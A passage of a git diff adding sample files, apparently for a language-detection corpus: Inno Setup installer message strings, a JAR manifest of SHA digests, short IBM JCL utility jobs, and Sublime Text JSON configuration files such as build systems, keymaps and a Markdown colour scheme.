+UninstallAppRunningError=Uninstall has detected that %1 is currently running.%n%nPlease close all instances of it now, then click OK to continue, or Cancel to exit.
+
+; *** Startup questions
+PrivilegesRequiredOverrideTitle=Select Setup Install Mode
+PrivilegesRequiredOverrideInstruction=Select install mode
+PrivilegesRequiredOverrideText1=%1 can be installed for all users (requires administrative privileges), or for you only.
+PrivilegesRequiredOverrideText2=%1 can be installed for you only, or for all users (requires administrative privileges).
+PrivilegesRequiredOverrideAllUsers=Install for &all users
+PrivilegesRequiredOverrideAllUsersRecommended=Install for &all users (recommended)
+PrivilegesRequiredOverrideCurrentUser=Install for &me only
+PrivilegesRequiredOverrideCurrentUserRecommended=Install for &me only (recommended)
+
+; *** Misc. errors
+ErrorCreatingDir=Setup was unable to create the directory "%1"
+ErrorTooManyFilesInDir=Unable to create a file in the directory "%1" because it contains too many files
+
+; *** Setup common messages
+ExitSetupTitle=Exit Setup
+ExitSetupMessage=Setup is not complete. If you exit now, the program will not be installed.%n%nYou may run Setup again at another time to complete the installation.%n%nExit Setup?
+AboutSetupMenuItem=&About Setup...
+AboutSetupTitle=About Setup
+AboutSetupMessage=%1 version %2%n%3%n%n%1 home page:%n%4
+AboutSetupNote=
+TranslatorNote=
+
+; *** Buttons
+ButtonBack=< &Back
+ButtonNext=&Next >
+ButtonInstall=&Install
+ButtonOK=OK
+ButtonCancel=Cancel
+ButtonYes=&Yes
+ButtonYesToAll=Yes to &All
+ButtonNo=&No
+ButtonNoToAll=N&o to All
+ButtonFinish=&Finish
+ButtonBrowse=&Browse...
+ButtonWizardBrowse=B&rowse...
+ButtonNewFolder=&Make New Folder
+
+; *** "Select Language" dialog messages
+SelectLanguageTitle=Select Setup Language
+SelectLanguageLabel=Select the language to use during the installation.
+
+; *** Common wizard text
+ClickNext=Click Next to continue, or Cancel to exit Setup.
+BeveledLabel=
+BrowseDialogTitle=Browse For Folder
+BrowseDialogLabel=Select a folder in the list below, then click OK.
+NewFolderName=New Folder
+
+; *** "Welcome" wizard page
+WelcomeLabel1=Welcome to the [name] Setup Wizard
+WelcomeLabel2=This will install [name/ver] on your computer.%n%nIt is recommended that you close all other applications before continuing.
+
+; *** "Password" wizard page
+WizardPassword=Password
+PasswordLabel1=This installation is password protected.
+PasswordLabel3=Please provide the password, then click Next to continue. Passwords are case-sensitive.
+PasswordEditLabel=&Password:
+IncorrectPassword=The password you entered is not correct. Please try again.
+
+; *** "License Agreement" wizard page
+WizardLicense=License Agreement
+LicenseLabel=Please read the following important information before continuing.
+LicenseLabel3=Please read the following License Agreement. You must accept the terms of this agreement before continuing with the installation.
+LicenseAccepted=I &accept the agreement
+LicenseNotAccepted=I &do not accept the agreement
+
+; *** "Information" wizard pages
+WizardInfoBefore=Information
+InfoBeforeLabel=Please read the following important information before continuing.
+InfoBeforeClickLabel=When you are ready to continue with Setup, click Next.
+WizardInfoAfter=Information
+InfoAfterLabel=Please read the following important information before continuing.
+InfoAfterClickLabel=When you are ready to continue with Setup, click Next.
+
+; *** "User Information" wizard page
+WizardUserInfo=User Information
+UserInfoDesc=Please enter your information.
+UserInfoName=&User Name:
+UserInfoOrg=&Organization:
+UserInfoSerial=&Serial Number:
+UserInfoNameRequired=You must enter a name.
+
+; *** "Select Destination Location" wizard page
+WizardSelectDir=Select Destination Location
+SelectDirDesc=Where should [name] be installed?
+SelectDirLabel3=Setup will install [name] into the following folder.
+SelectDirBrowseLabel=To continue, click Next. If you would like to select a different folder, click Browse.
+DiskSpaceGBLabel=At least [gb] GB of free disk space is required.
+DiskSpaceMBLabel=At least [mb] MB of free disk space is required.
+CannotInstallToNetworkDrive=Setup cannot install to a network drive.
+CannotInstallToUNCPath=Setup cannot install to a UNC path.
+InvalidPath=You must enter a full path with drive letter; for example:%n%nC:\APP%n%nor a UNC path in the form:%n%n\\server\share
+InvalidDrive=The drive or UNC share you selected does not exist or is not accessible. Please select another.
+DiskSpaceWarningTitle=Not Enough Disk Space
+DiskSpaceWarning=Setup requires at least %1 KB of free space to install, but the selected drive only has %2 KB available.%n%nDo you want to continue anyway?
+DirNameTooLong=The folder name or path is too long.
+InvalidDirName=The folder name is not valid.
+BadDirName32=Folder names cannot include any of the following characters:%n%n%1
+DirExistsTitle=Folder Exists
+DirExists=The folder:%n%n%1%n%nalready exists. Would you like to install to that folder anyway?
+DirDoesntExistTitle=Folder Does Not Exist
+DirDoesntExist=The folder:%n%n%1%n%ndoes not exist. Would you like the folder to be created?
+
+; *** "Select Components" wizard page
+WizardSelectComponents=Select Components
+SelectComponentsDesc=Which components should be installed?
+SelectComponentsLabel2=Select the components you want to install; clear the components you do not want to install. Click Next when you are ready to continue.
+FullInstallation=Full installation
+; if possible don't translate 'Compact' as 'Minimal' (I mean 'Minimal' in your language)
+CompactInstallation=Compact installation
+CustomInstallation=Custom installation
+NoUninstallWarningTitle=Components Exist
+NoUninstallWarning=Setup has detected that the following components are already installed on your computer:%n%n%1%n%nDeselecting these components will not uninstall them.%n%nWould you like to continue anyway?
+ComponentSize1=%1 KB
+ComponentSize2=%1 MB
+ComponentsDiskSpaceGBLabel=Current selection requires at least [gb] GB of disk space.
+ComponentsDiskSpaceMBLabel=Current selection requires at least [mb] MB of disk space.
+
+; *** "Select Additional Tasks" wizard page
+WizardSelectTasks=Select Additional Tasks
+SelectTasksDesc=Which additional tasks should be performed?
+SelectTasksLabel2=Select the additional tasks you would like Setup to perform while installing [name], then click Next.
+
+; *** "Select Start Menu Folder" wizard page
+WizardSelectProgramGroup=Select Start Menu Folder
+SelectStartMenuFolderDesc=Where should Setup place the program's shortcuts?
+SelectStartMenuFolderLabel3=Setup will create the program's shortcuts in the following Start Menu folder.
+SelectStartMenuFolderBrowseLabel=To continue, click Next. If you would like to select a different folder, click Browse.
+MustEnterGroupName=You must enter a folder name.
+GroupNameTooLong=The folder name or path is too long.
+InvalidGroupName=The folder name is not valid.
+BadGroupName=The folder name cannot include any of the following characters:%n%n%1
+NoProgramGroupCheck2=&Don't create a Start Menu folder
+
+; *** "Ready to Install" wizard page
+WizardReady=Ready to Install
+ReadyLabel1=Setup is now ready to begin installing [name] on your computer.
+ReadyLabel2a=Click Install to continue with the installation, or click Back if you want to review or change any settings.
+ReadyLabel2b=Click Install to continue with the installation.
+ReadyMemoUserInfo=User information:
+ReadyMemoDir=Destination location:
+ReadyMemoType=Setup type:
+ReadyMemoComponents=Selected components:
+ReadyMemoGroup=Start Menu folder:
+ReadyMemoTasks=Additional tasks:
+
+; *** "Preparing to Install" wizard page
+WizardPreparing=Preparing to Install
+PreparingDesc=Setup is preparing to install [name] on your computer.
+PreviousInstallNotCompleted=The installation/removal of a previous program was not completed. You will need to restart your computer to complete that installation.%n%nAfter restarting your computer, run Setup again to complete the installation of [name].
+CannotContinue=Setup cannot continue. Please click Cancel to exit.
+ApplicationsFound=The following applications are using files that need to be updated by Setup. It is recommended that you allow Setup to automatically close these applications.
+ApplicationsFound2=The following applications are using files that need to be updated by Setup. It is recommended that you allow Setup to automatically close these applications. After the installation has completed, Setup will attempt to restart the applications.
+CloseApplications=&Automatically close the applications
+DontCloseApplications=&Do not close the applications
+ErrorCloseApplications=Setup was unable to automatically close all applications. It is recommended that you close all applications using files that need to be updated by Setup before continuing.
+PrepareToInstallNeedsRestart=Setup must restart your computer. After restarting your computer, run Setup again to complete the installation of [name].%n%nWould you like to restart now?
+
+; *** "Installing" wizard page
+WizardInstalling=Installing
+InstallingLabel=Please wait while Setup installs [name] on your computer.
+
+; *** "Setup Completed" wizard page
+FinishedHeadingLabel=Completing the [name] Setup Wizard
+FinishedLabelNoIcons=Setup has finished installing [name] on your computer.
+FinishedLabel=Setup has finished installing [name] on your computer. The application may be launched by selecting the installed shortcuts.
+ClickFinish=Click Finish to exit Setup.
+FinishedRestartLabel=To complete the installation of [name], Setup must restart your computer. Would you like to restart now?
+FinishedRestartMessage=To complete the installation of [name], Setup must restart your computer.%n%nWould you like to restart now?
+ShowReadmeCheck=Yes, I would like to view the README file
+YesRadio=&Yes, restart the computer now
+NoRadio=&No, I will restart the computer later
+; used for example as 'Run MyProg.exe'
+RunEntryExec=Run %1
+; used for example as 'View Readme.txt'
+RunEntryShellExec=View %1
+
+; *** "Setup Needs the Next Disk" stuff
+ChangeDiskTitle=Setup Needs the Next Disk
+SelectDiskLabel2=Please insert Disk %1 and click OK.%n%nIf the files on this disk can be found in a folder other than the one displayed below, enter the correct path or click Browse.
+PathLabel=&Path:
+FileNotInDir2=The file "%1" could not be located in "%2". Please insert the correct disk or select another folder.
+SelectDirectoryLabel=Please specify the location of the next disk.
+
+; *** Installation phase messages
+SetupAborted=Setup was not completed.%n%nPlease correct the problem and run Setup again.
+AbortRetryIgnoreSelectAction=Select action
+AbortRetryIgnoreRetry=&Try again
+AbortRetryIgnoreIgnore=&Ignore the error and continue
+AbortRetryIgnoreCancel=Cancel installation
+
+; *** Installation status messages
+StatusClosingApplications=Closing applications...
+StatusCreateDirs=Creating directories...
+StatusExtractFiles=Extracting files...
+StatusCreateIcons=Creating shortcuts...
+StatusCreateIniEntries=Creating INI entries...
+StatusCreateRegistryEntries=Creating registry entries...
+StatusRegisterFiles=Registering files...
+StatusSavingUninstall=Saving uninstall information...
+StatusRunProgram=Finishing installation...
+StatusRestartingApplications=Restarting applications...
+StatusRollback=Rolling back changes...
+
+; *** Misc. errors
+ErrorInternal2=Internal error: %1
+ErrorFunctionFailedNoCode=%1 failed
+ErrorFunctionFailed=%1 failed; code %2
+ErrorFunctionFailedWithMessage=%1 failed; code %2.%n%3
+ErrorExecutingProgram=Unable to execute file:%n%1
+
+; *** Registry errors
+ErrorRegOpenKey=Error opening registry key:%n%1\%2
+ErrorRegCreateKey=Error creating registry key:%n%1\%2
+ErrorRegWriteKey=Error writing to registry key:%n%1\%2
+
+; *** INI errors
+ErrorIniEntry=Error creating INI entry in file "%1".
+
+; *** File copying errors
+FileAbortRetryIgnoreSkipNotRecommended=&Skip this file (not recommended)
+FileAbortRetryIgnoreIgnoreNotRecommended=&Ignore the error and continue (not recommended)
+SourceIsCorrupted=The source file is corrupted
+SourceDoesntExist=The source file "%1" does not exist
+ExistingFileReadOnly2=The existing file could not be replaced because it is marked read-only.
+ExistingFileReadOnlyRetry=&Remove the read-only attribute and try again
+ExistingFileReadOnlyKeepExisting=&Keep the existing file
+ErrorReadingExistingDest=An error occurred while trying to read the existing file:
+FileExists=The file already exists.%n%nWould you like Setup to overwrite it?
+ExistingFileNewer=The existing file is newer than the one Setup is trying to install. It is recommended that you keep the existing file.%n%nDo you want to keep the existing file?
+ErrorChangingAttr=An error occurred while trying to change the attributes of the existing file:
+ErrorCreatingTemp=An error occurred while trying to create a file in the destination directory:
+ErrorReadingSource=An error occurred while trying to read the source file:
+ErrorCopying=An error occurred while trying to copy a file:
+ErrorReplacingExistingFile=An error occurred while trying to replace the existing file:
+ErrorRestartReplace=RestartReplace failed:
+ErrorRenamingTemp=An error occurred while trying to rename a file in the destination directory:
+ErrorRegisterServer=Unable to register the DLL/OCX: %1
+ErrorRegSvr32Failed=RegSvr32 failed with exit code %1
+ErrorRegisterTypeLib=Unable to register the type library: %1
+
+; *** Uninstall display name markings
+; used for example as 'My Program (32-bit)'
+UninstallDisplayNameMark=%1 (%2)
+; used for example as 'My Program (32-bit, All users)'
+UninstallDisplayNameMarks=%1 (%2, %3)
+UninstallDisplayNameMark32Bit=32-bit
+UninstallDisplayNameMark64Bit=64-bit
+UninstallDisplayNameMarkAllUsers=All users
+UninstallDisplayNameMarkCurrentUser=Current user
+
+; *** Post-installation errors
+ErrorOpeningReadme=An error occurred while trying to open the README file.
+ErrorRestartingComputer=Setup was unable to restart the computer. Please do this manually.
+
+; *** Uninstaller messages
+UninstallNotFound=File "%1" does not exist. Cannot uninstall.
+UninstallOpenError=File "%1" could not be opened. Cannot uninstall
+UninstallUnsupportedVer=The uninstall log file "%1" is in a format not recognized by this version of the uninstaller. Cannot uninstall
+UninstallUnknownEntry=An unknown entry (%1) was encountered in the uninstall log
+ConfirmUninstall=Are you sure you want to completely remove %1 and all of its components?
+UninstallOnlyOnWin64=This installation can only be uninstalled on 64-bit Windows.
+OnlyAdminCanUninstall=This installation can only be uninstalled by a user with administrative privileges.
+UninstallStatusLabel=Please wait while %1 is removed from your computer.
+UninstalledAll=%1 was successfully removed from your computer.
+UninstalledMost=%1 uninstall complete.%n%nSome elements could not be removed. These can be removed manually.
+UninstalledAndNeedsRestart=To complete the uninstallation of %1, your computer must be restarted.%n%nWould you like to restart now?
+UninstallDataCorrupted="%1" file is corrupted. Cannot uninstall
+
+; *** Uninstallation phase messages
+ConfirmDeleteSharedFileTitle=Remove Shared File?
+ConfirmDeleteSharedFile2=The system indicates that the following shared file is no longer in use by any programs. Would you like for Uninstall to remove this shared file?%n%nIf any programs are still using this file and it is removed, those programs may not function properly. If you are unsure, choose No. Leaving the file on your system will not cause any harm.
+SharedFileNameLabel=File name:
+SharedFileLocationLabel=Location:
+WizardUninstalling=Uninstall Status
+StatusUninstalling=Uninstalling %1...
+
+; *** Shutdown block reasons
+ShutdownBlockReasonInstallingApp=Installing %1.
+ShutdownBlockReasonUninstallingApp=Uninstalling %1.
+
+; The custom messages below aren't used by Setup itself, but if you make
+; use of them in your scripts, you'll want to translate them.
+
+[CustomMessages]
+
+NameAndVersion=%1 version %2
+AdditionalIcons=Additional shortcuts:
+CreateDesktopIcon=Create a &desktop shortcut
+CreateQuickLaunchIcon=Create a &Quick Launch shortcut
+ProgramOnTheWeb=%1 on the Web
+UninstallProgram=Uninstall %1
+LaunchProgram=Launch %1
+AssocFileExtension=&Associate %1 with the %2 file extension
+AssocingFileExtension=Associating %1 with the %2 file extension...
+AutoStartProgramGroupDescription=Startup:
+AutoStartProgram=Automatically start %1
+AddonHostProgramNotFound=%1 could not be located in the folder you selected.%n%nDo you want to continue anyway?
diff --git a/samples/JAR Manifest/filenames/MANIFEST.MF b/samples/JAR Manifest/filenames/MANIFEST.MF
new file mode 100644
index 0000000000..cb77c70d80
--- /dev/null
+++ b/samples/JAR Manifest/filenames/MANIFEST.MF	
@@ -0,0 +1,81 @@
+Manifest-Version: 1.0
+
+Name: CheckCerts.class
+Digest-Algorithms: SHA
+SHA-Digest: xLygljhRro6990piIVEilVI8szQ=
+
+Name: ContentInfoTest.class
+Digest-Algorithms: SHA
+SHA-Digest: TSVdEMQW2gdFi6qeba+UixdHSdo=
+
+Name: JarVerify.class
+Digest-Algorithms: SHA
+SHA-Digest: Wg+PiDzunNGH4KrWAp00/okp39s=
+
+Name: JarVerify2.class
+Digest-Algorithms: SHA
+SHA-Digest: 5uYBQxwGWgYmNBwhnWRbymeXmWM=
+
+Name: PKCS7Read.class
+Digest-Algorithms: SHA
+SHA-Digest: JPIxttHBfRpQaFyiQJ2Wfkvj/ls=
+
+Name: PKCS7Test.class
+Digest-Algorithms: SHA
+SHA-Digest: R64SXXgZrOvGiO/eMsfG/T1Vn30=
+
+Name: PKCS7Test10.class
+Digest-Algorithms: SHA
+SHA-Digest: 2R0yxuxRHTPqdAzJJcrvqkpbQgo=
+
+Name: PKCS7Test11.class
+Digest-Algorithms: SHA
+SHA-Digest: /0HcwnpQi0hwJsJtvt5peWFGvtc=
+
+Name: PKCS7Test12.class
+Digest-Algorithms: SHA
+SHA-Digest: s5CcqimfRqR9CW25tFBY0JK3RVU=
+
+Name: PKCS7Test2.class
+Digest-Algorithms: SHA
+SHA-Digest: 71VkFEMUle5sjXNFbSW31F1ZJ58=
+
+Name: PKCS7Test3.class
+Digest-Algorithms: SHA
+SHA-Digest: mU/D5C6SgPRmwoLQzwF5VnN3aqM=
+
+Name: PKCS7Test4.class
+Digest-Algorithms: SHA
+SHA-Digest: ss9NFvxF8emaEjdKdvtzWXfs0/E=
+
+Name: PKCS7Test5.class
+Digest-Algorithms: SHA
+SHA-Digest: DHvQ20UAXoYgfCPAOeCOrglsJwU=
+
+Name: PKCS7Test6.class
+Digest-Algorithms: SHA
+SHA-Digest: aiCb8chroH7XDaNfAz6wr57lXsA=
+
+Name: PKCS7Test7.class
+Digest-Algorithms: SHA
+SHA-Digest: UoieXLC68alFgfD/Q1NW9/r2kaY=
+
+Name: PKCS7Test8.class
+Digest-Algorithms: SHA
+SHA-Digest: eMW7mq5b/KVB1M5L76wcV1+uFQs=
+
+Name: PKCS7Test9.class
+Digest-Algorithms: SHA
+SHA-Digest: EEWCZG1creWjqVZVIEgr0on3y6A=
+
+Name: SignerInfoTest.class
+Digest-Algorithms: SHA
+SHA-Digest: l6SNfpnFipGg8gy4XqY3HhA0RrY=
+
+Name: SignerInfoTest2.class
+Digest-Algorithms: SHA
+SHA-Digest: 5jbzlkZqXKNmmmE+pcjQka8D6WE=
+
+Name: SimpleSigner.class
+Digest-Algorithms: SHA
+SHA-Digest: l9ODQHY4wxhIvLw4/B0qe9NjwxQ=
diff --git a/samples/JCL/IEBCOPY.jcl b/samples/JCL/IEBCOPY.jcl
new file mode 100644
index 0000000000..1e74cee128
--- /dev/null
+++ b/samples/JCL/IEBCOPY.jcl
@@ -0,0 +1,13 @@
+//IEBCOPY JOB (ACCT),'IEBCOPY',CLASS=A,MSGCLASS=X
+//*
+//*-----------------------------------------------------------*
+//* COPY A MEMBER FROM ONE DATA SET TO ANOTHER.
+//*-----------------------------------------------------------*
+//IEBCOPY  EXEC PGM=IEBCOPY
+//SYSPRINT DD  SYSOUT=*
+//SYSUT1   DD  DISP=SHR,DSN=IBMUSER.TEST
+//SYSUT2   DD  DISP=SHR,DSN=IBMUSER.TEST2
+//SYSIN    DD  *
+ C I=((SYSUT1,R)),O=SYSUT2
+ S M=((TESTMEM,TEST2))
+//*
diff --git a/samples/JCL/IEFBR14.jcl b/samples/JCL/IEFBR14.jcl
new file mode 100644
index 0000000000..13f0a72e1f
--- /dev/null
+++ b/samples/JCL/IEFBR14.jcl
@@ -0,0 +1,9 @@
+//IBMUSER JOB (),
+//             IEFBR14,
+//             CLASS=A,
+//             MSGCLASS=X,
+//             REGION=5M,
+//             NOTIFY=IBMUSER
+//DUMP    EXEC PGM=IEFBR14
+//DUMPOUT   DD DSN=SYS1.TEST.SMF,DISP=(NEW,CATLG),
+//             UNIT=3390,VOL=SER=USR001,SPACE=(CYL,(10,2),RLSE)
\ No newline at end of file
diff --git a/samples/JCL/IKJEFT01.jcl b/samples/JCL/IKJEFT01.jcl
new file mode 100644
index 0000000000..a33ff47940
--- /dev/null
+++ b/samples/JCL/IKJEFT01.jcl
@@ -0,0 +1,8 @@
+//SAMPLE1 JOB (*),"TESTING JOB",CLASS=A,PRTY=10,NOTIFY=&SYSUID,
+//   MSGCLASS=X,MSGLEVEL=(1,1),TYPRUN=SCAN,REGION=0M
+//* LIST A USER
+//IKJEFT  EXEC PGM=IKJEFT01
+//SYSTSPRT DD SYSOUT=*
+//SYSTSIN  DD *
+ LU IBMUSER
+//
\ No newline at end of file
diff --git a/samples/JSON with Comments/AMPL.sublime-build b/samples/JSON with Comments/AMPL.sublime-build
new file mode 100644
index 0000000000..7434f54d07
--- /dev/null
+++ b/samples/JSON with Comments/AMPL.sublime-build	
@@ -0,0 +1,14 @@
+{
+	"cmd": ["ampl", "${file_path}/${file_base_name}.run"],
+	"file_regex": "^(?:[(]file )*[ ]*(...*?), line ([0-9]*)",
+	"selector": "source.ampl",
+
+	"osx":
+	{
+		"env":
+		{
+			// "ILOG_LICENSE_FILE": "path/to/access.ilm"
+		}
+	}
+
+}
diff --git a/samples/JSON with Comments/CLIPS.sublime-settings b/samples/JSON with Comments/CLIPS.sublime-settings
new file mode 100644
index 0000000000..1b6ef5f37c
--- /dev/null
+++ b/samples/JSON with Comments/CLIPS.sublime-settings	
@@ -0,0 +1,8 @@
+{
+	"extensions":
+	[
+		"clp"
+	],
+	"tab_size": 8,
+	"translate_tabs_to_spaces": false
+}
diff --git a/samples/JSON with Comments/Context.sublime-menu b/samples/JSON with Comments/Context.sublime-menu
new file mode 100644
index 0000000000..ae2526e519
--- /dev/null
+++ b/samples/JSON with Comments/Context.sublime-menu	
@@ -0,0 +1,13 @@
+[
+{
+	"id" : "nasm",
+	"caption": "NASM Assembly",
+	"children":
+	[
+	{
+		"caption" : "Documentation",
+		"command" : "assembly_doc"
+	}
+	]
+}
+]
\ No newline at end of file
diff --git a/samples/JSON with Comments/Dart.sublime-commands b/samples/JSON with Comments/Dart.sublime-commands
new file mode 100644
index 0000000000..901bbdfeb4
--- /dev/null
+++ b/samples/JSON with Comments/Dart.sublime-commands	
@@ -0,0 +1,30 @@
+[
+	{ "caption": "Dart: Polymer: Generate Element", "command": "dart_generate_polymer_element" },
+	{ "caption": "Dart: Polymer: Add Entry Point", "command": "dart_add_polymer_entry_point" },
+
+	{ "caption": "Dart: Check Configuration", "command": "dart_check_config" },
+	{ "caption": "Dart: Browse API Reference", "command": "dart_open_browser", "args": {"url": "https://api.dartlang.org/apidocs/channels/stable/dartdoc-viewer/home" } },
+	{ "caption": "Dart: Set Default User Browser", "command": "dart_show_user_browsers" },
+
+	{ "caption": "Preferences: Dart Settings - Default", "command": "dart_open_settings", "args": {"kind": "default"} },
+	{ "caption": "Preferences: Dart Settings - User", "command": "dart_open_settings", "args": {"kind": "user"} },
+	{ "caption": "Preferences: Dart Settings - File Type (User)", "command": "dart_open_settings", "args": {"kind": "user", "scope": "file_type"} },
+
+	{ "caption": "Dart: Run", "command": "dart_smart_run" },
+	{ "caption": "Dart: Run (This File)", "command": "dart_smart_run", "args": {"force_update": true} },
+	{ "caption": "Dart: Stop", "command": "dart_smart_run", "args": {"kill_only": true} },
+
+	{ "caption": "Dart: Run In Observatory (This File)", "command": "dart_run_in_observatory" },
+
+	{ "caption": "Dart: Show Output Panel", "command": "show_panel", "args": {"panel": "output.dart.out"} },
+	{ "caption": "Dart: Show Errors Panel", "command": "show_panel", "args": {"panel": "output.dart.errors"} },
+
+	{ "caption": "Dart: Format", "command": "dart_format" },
+
+	{ "caption": "Dart: Generate Documentation", "command": "dart_generate_docs" },
+	{ "caption": "Dart: Serve Documentation", "command": "dart_serve_docs" },
+
+	{ "caption": "Dart: Stagehand", "command": "dart_stagehand_wizard" },
+
+	{ "caption": "Dart: Pub Get", "command": "dart_pub_get" }
+]
diff --git a/samples/JSON with Comments/Dart.sublime-project b/samples/JSON with Comments/Dart.sublime-project
new file mode 100644
index 0000000000..22c1677a05
--- /dev/null
+++ b/samples/JSON with Comments/Dart.sublime-project	
@@ -0,0 +1,40 @@
+{
+	"folders":
+	[
+		{
+			"follow_symlinks": true,
+			"path": "."
+		}
+	],
+
+	"SublimeLinter":
+	{
+		"@python": 3.4
+	},
+
+	"build_systems":
+	[
+		{
+			"name": "Run",
+			"shell_cmd": "\"$project_path/scripts/build.sh\"",
+			"windows":
+			{
+				"shell_cmd": "powershell -noninteractive -file \"$project_path\\build.ps1\""
+			},
+			"working_dir": "${project_path}",
+
+			"variants": [
+				{
+					"name": "Dart: Test (All)",
+					"target": "run_dart_tests",
+				},
+
+				{
+					"name": "Dart: Test (This File Only)",
+					"target": "run_dart_tests",
+					"active_file_only": true
+				}
+			]
+		}
+	]
+}
diff --git a/samples/JSON with Comments/Default (Linux).sublime-mousemap b/samples/JSON with Comments/Default (Linux).sublime-mousemap
new file mode 100644
index 0000000000..c6d56aa58d
--- /dev/null
+++ b/samples/JSON with Comments/Default (Linux).sublime-mousemap	
@@ -0,0 +1,7 @@
+[
+	{
+		"button": "button1", "count": 1, "modifiers": ["alt"],
+		"press_command": "drag_select",
+		"command": "robot_go_to_keyword"
+	}
+]
diff --git a/samples/JSON with Comments/Default.sublime-keymap b/samples/JSON with Comments/Default.sublime-keymap
new file mode 100644
index 0000000000..e62a0a9bd2
--- /dev/null
+++ b/samples/JSON with Comments/Default.sublime-keymap	
@@ -0,0 +1,6 @@
+[
+	// Disable auto-pair for single quote
+	{ "keys": ["'"], "command": "insert_snippet", "args": {"contents": "'"}, "context":
+		[{ "key": "selector", "operator": "equal", "operand": "source.rust" }]
+	}
+]
diff --git a/samples/JSON with Comments/JavaDoc Add Line.sublime-macro b/samples/JSON with Comments/JavaDoc Add Line.sublime-macro
new file mode 100644
index 0000000000..a2d62b99a9
--- /dev/null
+++ b/samples/JSON with Comments/JavaDoc Add Line.sublime-macro	
@@ -0,0 +1,6 @@
+[
+	{"command": "move_to", "args": {"to": "hardeol"}},
+	{"command": "insert", "args": {"characters": "\n"}},
+	{"command": "insert", "args": {"characters": "*"}},
+	{"command": "insert", "args": {"characters": " "}}
+]
diff --git a/samples/JSON with Comments/Mariana.sublime-color-scheme b/samples/JSON with Comments/Mariana.sublime-color-scheme
new file mode 100644
index 0000000000..27ddee4007
--- /dev/null
+++ b/samples/JSON with Comments/Mariana.sublime-color-scheme	
@@ -0,0 +1,150 @@
+// This patch for Mariana.sublime-color-scheme adds some Markdown specific color definitions
+// while making use of well defined colors for code blocks.
+{
+	"variables": {
+		"line_break": "hsl(210, 15%, 20%)",
+		"raw_fg": "hsl(210, 10%, 60%)",
+		"raw_bg": "hsl(210, 15%, 20%)"
+	},
+	"rules": [
+
+		// Frontmatter
+		{
+			"name": "Frontmatter: Mapping Key Names",
+			"scope": "text.html.markdown meta.mapping.key string, text.html.markdown meta.mapping.key constant.language, text.html.markdown meta.mapping.key constant.numeric",
+			"foreground": "var(blue5)"
+		},
+
+		// Basic Formattings
+		{
+			"name": "Markdown: Bold Content",
+			"scope": "text.html.markdown markup.bold - punctuation.definition.bold",
+			"font_style": "bold"
+		},
+		{
+			"name": "Markdown: Bold Punctuation",
+			"scope": "text.html.markdown punctuation.definition.bold",
+			"font_style": ""
+		},
+		{
+			"name": "Markdown: Italic Content",
+			"scope": "text.html.markdown markup.italic - punctuation.definition.italic",
+			"font_style": "italic"
+		},
+		{
+			"name": "Markdown: Italic Punctuation",
+			"scope": "text.html.markdown punctuation.definition.italic",
+			"font_style": ""
+		},
+		{
+			"name": "Markdown: Bold Italic Content",
+			"scope": "text.html.markdown markup.bold markup.italic - punctuation.definition.bold - punctuation.definition.italic, text.html.markdown markup.bold_italic - punctuation.definition.bold",
+			"font_style": "bold italic"
+		},
+		{
+			"name": "Markdown: Underlined Content",
+			"scope": "text.html.markdown markup.underline",
+			"font_style": "underline"
+		},
+		{
+			"name": "Markdown: Bold Underlined Content",
+			"scope": "text.html.markdown & markup.bold & markup.underline - punctuation.definition.bold",
+			"font_style": "bold underline"
+		},
+		{
+			"name": "Markdown: Italic Underlined Content",
+			"scope": "text.html.markdown & markup.italic & markup.underline - punctuation.definition.italic",
+			"font_style": "italic underline"
+		},
+		{
+			"name": "Markdown: Bold Italic Underlined Content",
+			"scope": "text.html.markdown & markup.bold & markup.italic & markup.underline - punctuation.definition.bold - punctuation.definition.italic",
+			"font_style": "bold underline"
+		},
+		{
+			"name": "Markdown: Striked Content",
+			"scope": "text.html.markdown markup.strikethrough, text.html.markdown markup.strikethrough string",
+			"foreground": "var(blue4)",
+			"font_style": ""
+		},
+		{
+			"name": "Markdown: Striked Punctuations",
+			"scope": "text.html.markdown markup.strikethrough & (punctuation.definition | punctuation.separator | punctuation.definition.strikethrough | punctuation.definition.constant | punctuation.definition.image | punctuation.definition.link | punctuation.definition.metadata | markup.bold punctuation.definition.bold | markup.italic punctuation.definition.italic | string punctuation.definition.string)",
+			"foreground": "var(blue6)",
+			"font_style": ""
+		},
+		{
+			"name": "Markdown: Striked URLs",
+			"scope": "text.html.markdown markup.strikethrough & (markup.underline.link.markdown | markup.underline.link.image.markdown)",
+			"foreground": "var(blue4)"
+		},
+		{
+			"name": "Markdown: Hard Line Breaks",
+			"scope": "text.html.markdown punctuation.definition.hard-line-break",
+			"background": "var(line_break)"
+		},
+
+		// Block Quotes
+		{
+			"name": "Markdown: Block Quotes",
+			"scope": "text.html.markdown markup.quote punctuation.definition.blockquote, text.html.markdown markup.quote punctuation.definition.quote",
+			"foreground": "var(blue2)",
+			"background": "var(blue2)"
+		},
+
+		// Code Blocks
+		{
+			"name": "Markdown: Inline Code Block",
+			"scope": "text.html.markdown markup.raw.inline",
+			"foreground": "var(raw_fg)",
+			"background": "var(raw_bg)"
+		},
+		{
+			"name": "Markdown: Raw Code Block",
+			"scope": "text.html.markdown markup.raw, text.html.markdown meta.code-fence",
+			"foreground": "var(raw_fg)",
+			"background": "var(raw_bg)"
+		},
+
+		// Inline References
+		{
+			"name": "Markdown: Link Description",
+			"scope": "(meta.image.inline.description.markdown, meta.image.reference.description.markdown, meta.link.inline.description.markdown, meta.link.reference.description.markdown, meta.link.reference.literal.description.markdown, meta.link.reference.wiki.description.markdown) - comment - constant - entity - punctuation - string - markup.strikethrough",
+			"foreground": "var(blue)"
+		},
+		{
+			"name": "Markdown: Inline Link URL",
+			"scope": "text.html.markdown meta.link.inline markup.underline.link",
+			"foreground": "var(pink)"
+		},
+
+		// Keyboard Shortcuts
+		{
+			"name": "Markdown: Keyboard Shortcut Background",
+			"scope": "text.html.markdown markup.kbd",
+			"background": "var(raw_bg)"
+		},
+		{
+			"name": "Markdown: Keyboard Shortcut Tags",
+			"scope": "text.html.markdown markup.kbd entity.name.tag, text.html.markdown markup.kbd punctuation.definition.tag",
+			"foreground": "var(raw_fg)"
+		},
+		{
+			"name": "Markdown: Keyboard Shortcut Content",
+			"scope": "text.html.markdow markup.kbd.content",
+			"foreground": "var(blue)"
+		},
+
+		// Tables
+		{
+			"name": "Markdown: Table Separators / Lines",
+			"scope": "text.html.markdown meta.table.header-separator punctuation.section, text.html.markdown punctuation.section.table-header, text.html.markdown punctuation.separator.table-cell",
+			"foreground": "var(blue4)"
+		},
+		{
+			"name": "Markdown: Table Cell Content Alignment Operator",
+			"scope": "text.html.markdown meta.table.header-separator punctuation.definition",
+			"foreground": "var(pink)"
+		}
+	]
